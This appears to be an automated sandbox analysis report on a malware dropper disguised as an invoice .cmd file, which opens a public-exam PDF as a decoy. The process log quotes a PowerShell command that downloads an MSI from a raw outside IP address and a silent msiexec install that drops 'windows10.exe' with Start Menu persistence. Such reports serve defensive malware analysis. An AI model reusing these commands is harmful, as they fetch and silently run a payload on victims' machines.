Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_00B2A2CD	13_2_00B2A2CD
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_00C07410	13_2_00C07410
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_00B646B0	13_2_00B646B0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_00B3D9E0	13_2_00B3D9E0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_00B22AA0	13_2_00B22AA0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_00B25A34	13_2_00B25A34
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_00BE9F6C	13_2_00BE9F6C
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_00B29F4D	13_2_00B29F4D
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_00C3BEE0	13_2_00C3BEE0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_00C3BB75	13_2_00C3BB75
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_00C4E6C7	13_2_00C4E6C7
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_00C53728	13_2_00C53728
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_00E984FE	13_2_00E984FE
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 13_2_00E98935	13_2_00E98935
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_00C56710	17_2_00C56710
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_00B8A2CD	17_2_00B8A2CD
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_00C67410	17_2_00C67410
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_00BC46B0	17_2_00BC46B0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_00B9D9E0	17_2_00B9D9E0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_00B82AA0	17_2_00B82AA0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_00B85A34	17_2_00B85A34
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_00C49F6C	17_2_00C49F6C
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_00B89F4D	17_2_00B89F4D
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_009DFD40	17_2_009DFD40
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_009AB5B8	17_2_009AB5B8
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_00CAE6C7	17_2_00CAE6C7
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_00CB3728	17_2_00CB3728
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_00C9BEE0	17_2_00C9BEE0
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_00C9BB75	17_2_00C9BB75
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_00EF84FE	17_2_00EF84FE
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_00EF8935	17_2_00EF8935
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_0113F4B2	17_2_0113F4B2
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_0114E776	17_2_0114E776
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_0113D915	17_2_0113D915
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_0113E164	17_2_0113E164
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_01146C79	17_2_01146C79
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_0113E753	17_2_0113E753
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_0113EB8A	17_2_0113EB8A
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_01146E83	17_2_01146E83
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: 17_2_01F39000	17_2_01F39000

Source: Joe Sandbox View	Dropped File: C:\Users\user\Pictures\fotosdaviagem\StarBurn.dll CB8FE818F967A54AE3E3B3A0DF7E7B4B185CCC174E9163C619501A1EAB5CECFF
Source: Joe Sandbox View	Dropped File: C:\Users\user\Pictures\fotosdaviagem\windows10.exe 585741CA3C4041BB39D107F1F159D908650967FBCCAC3A491BCA389CC4BA0769
Source: Joe Sandbox View	Dropped File: C:\Windows\Installer\MSI7AC9.tmp 42EF18C42FE06709F3C86157E2270358F3C93D14BE2E173B8FAE8EDCEFDDFCA0

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: String function: 00C4BF58 appears 36 times
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Code function: String function: 00CABF58 appears 36 times
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: String function: 00828246 appears 67 times
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: String function: 00828213 appears 100 times
Source: C:\Windows\Installer\MSI7F35.tmp	Code function: String function: 008285D0 appears 39 times
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: String function: 00AF8213 appears 100 times
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: String function: 00AF85D0 appears 39 times
Source: C:\Windows\Installer\MSI7F24.tmp	Code function: String function: 00AF8246 appears 67 times

Source: StarBurn.dll.7.dr

Static PE information: Number of sections : 13 > 10

Source: windows10.exe.7.dr

Binary string: \Device\

Source: classification engine

Classification label: mal88.evad.winCMD@51/153@36/16

Source: chromecache_174.5.dr	Initial sample: http://www.quadrix.org.br/
Source: chromecache_174.5.dr	Initial sample: https://concursos.quadrix.org.br/
Source: chromecache_174.5.dr	Initial sample: mailto:administracao@crfac.org,br
Source: chromecache_174.5.dr	Initial sample: http://isencao.quadrix.org.br/
Source: chromecache_174.5.dr	Initial sample: mailto:contato@quadrix.org.br

Source: C:\Windows\Installer\MSI7F24.tmp

Code function: 9_2_00AD61D0 CreateToolhelp32Snapshot,CloseHandle,Process32FirstW,OpenProcess,CloseHandle,Process32NextW,CloseHandle,

9_2_00AD61D0

Source: C:\Windows\Installer\MSI7F24.tmp

Code function: 9_2_00AD6EE0 CoInitialize,CoCreateInstance,VariantInit,VariantClear,IUnknown_QueryService,CoAllowSetForegroundWindow,SysAllocString,SysAllocString,SysAllocString,SysAllocString,VariantInit,LocalFree,OpenProcess,WaitForSingleObject,GetExitCodeProcess,CloseHandle,LocalFree,VariantClear,VariantClear,VariantClear,VariantClear,VariantClear,SysFreeString,VariantClear,CoUninitialize,_com_issue_error,

9_2_00AD6EE0

Source: C:\Windows\Installer\MSI7F24.tmp

Code function: 9_2_00AD1D70 LoadResource,LockResource,SizeofResource,

9_2_00AD1D70

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\Downloads\30c892a2-aec9-4554-8c0c-14853fe86991.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:9028:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7536:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mhecw50e.iyu.ps1

Jump to behavior

Source: Yara match	File source: 00000017.00000002.2875643511.0000000000AB1000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2870610981.0000000000A71000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2870584165.00000000009C1000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2870577814.0000000000941000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2870548922.00000000009A1000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2870540107.00000000009E1000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2870514261.0000000000901000.00000020.00000001.01000000.00000009.sdmp, type: MEMORY

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\CIMV2 : Win32_Processor

Source: C:\Windows\Installer\MSI7F24.tmp

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: windows10.exe	String found in binary or memory: <StopOnIdleEnd>true</StopOnIdleEnd>
Source: windows10.exe	String found in binary or memory: <StopOnIdleEnd>true</StopOnIdleEnd>
Source: windows10.exe	String found in binary or memory: <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
Source: windows10.exe	String found in binary or memory: <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
Source: windows10.exe	String found in binary or memory: <StopOnIdleEnd>true</StopOnIdleEnd>
Source: windows10.exe	String found in binary or memory: <StopOnIdleEnd>true</StopOnIdleEnd>
Source: windows10.exe	String found in binary or memory: <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
Source: windows10.exe	String found in binary or memory: <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
Source: windows10.exe	String found in binary or memory: <StopOnIdleEnd>true</StopOnIdleEnd>
Source: windows10.exe	String found in binary or memory: <StopOnIdleEnd>true</StopOnIdleEnd>
Source: windows10.exe	String found in binary or memory: <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
Source: windows10.exe	String found in binary or memory: <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\z1Pedido-Faturado-NF-938731.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2124,i,6423806092932819281,9546343448154486120,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\msiexec.exe msiexec /i "C:\Users\user\AppData\Local\Temp\arquivo.msi" /quiet /qn
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 90D5E74CE3997E8BCCFBD262FBC25E1F
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI7F24.tmp "C:\Windows\Installer\MSI7F24.tmp" /DontWait /RunAsAdmin /HideWindow "C:\Users\user\Pictures\fotosdaviagem\Windows.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI7F35.tmp "C:\Windows\Installer\MSI7F35.tmp" /DontWait /HideWindow "C:\Users\user\Pictures\fotosdaviagem\cont.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\
Source: C:\Windows\Installer\MSI7F24.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\Pictures\fotosdaviagem\Windows.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" /systemstartup
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" -type:exit-monitor-method:collectupload-session-token
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=utility--utility-sub-type=network.mojom.
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=gpu-process--field-trial-handle=4305.474
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=renderer--field-trial-handle=4304.754958
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" neto2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://34.68.151.162/arquivo.msi', 'C:\Users\user\AppData\Local\Temp\arquivo.msi')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\msiexec.exe msiexec /i "C:\Users\user\AppData\Local\Temp\arquivo.msi" /quiet /qn	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2124,i,6423806092932819281,9546343448154486120,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 90D5E74CE3997E8BCCFBD262FBC25E1F	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI7F24.tmp "C:\Windows\Installer\MSI7F24.tmp" /DontWait /RunAsAdmin /HideWindow "C:\Users\user\Pictures\fotosdaviagem\Windows.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI7F35.tmp "C:\Windows\Installer\MSI7F35.tmp" /DontWait /HideWindow "C:\Users\user\Pictures\fotosdaviagem\cont.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe"	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C ""C:\Users\user\Pictures\fotosdaviagem\Windows.cmd" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\"	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" /systemstartup	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" -type:exit-monitor-method:collectupload-session-token	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=utility--utility-sub-type=network.mojom.	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=gpu-process--field-trial-handle=4305.474	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" --type=renderer--field-trial-handle=4304.754958	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Process created: C:\Users\user\Pictures\fotosdaviagem\windows10.exe "C:\Users\user\Pictures\fotosdaviagem\windows10.exe" neto2	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
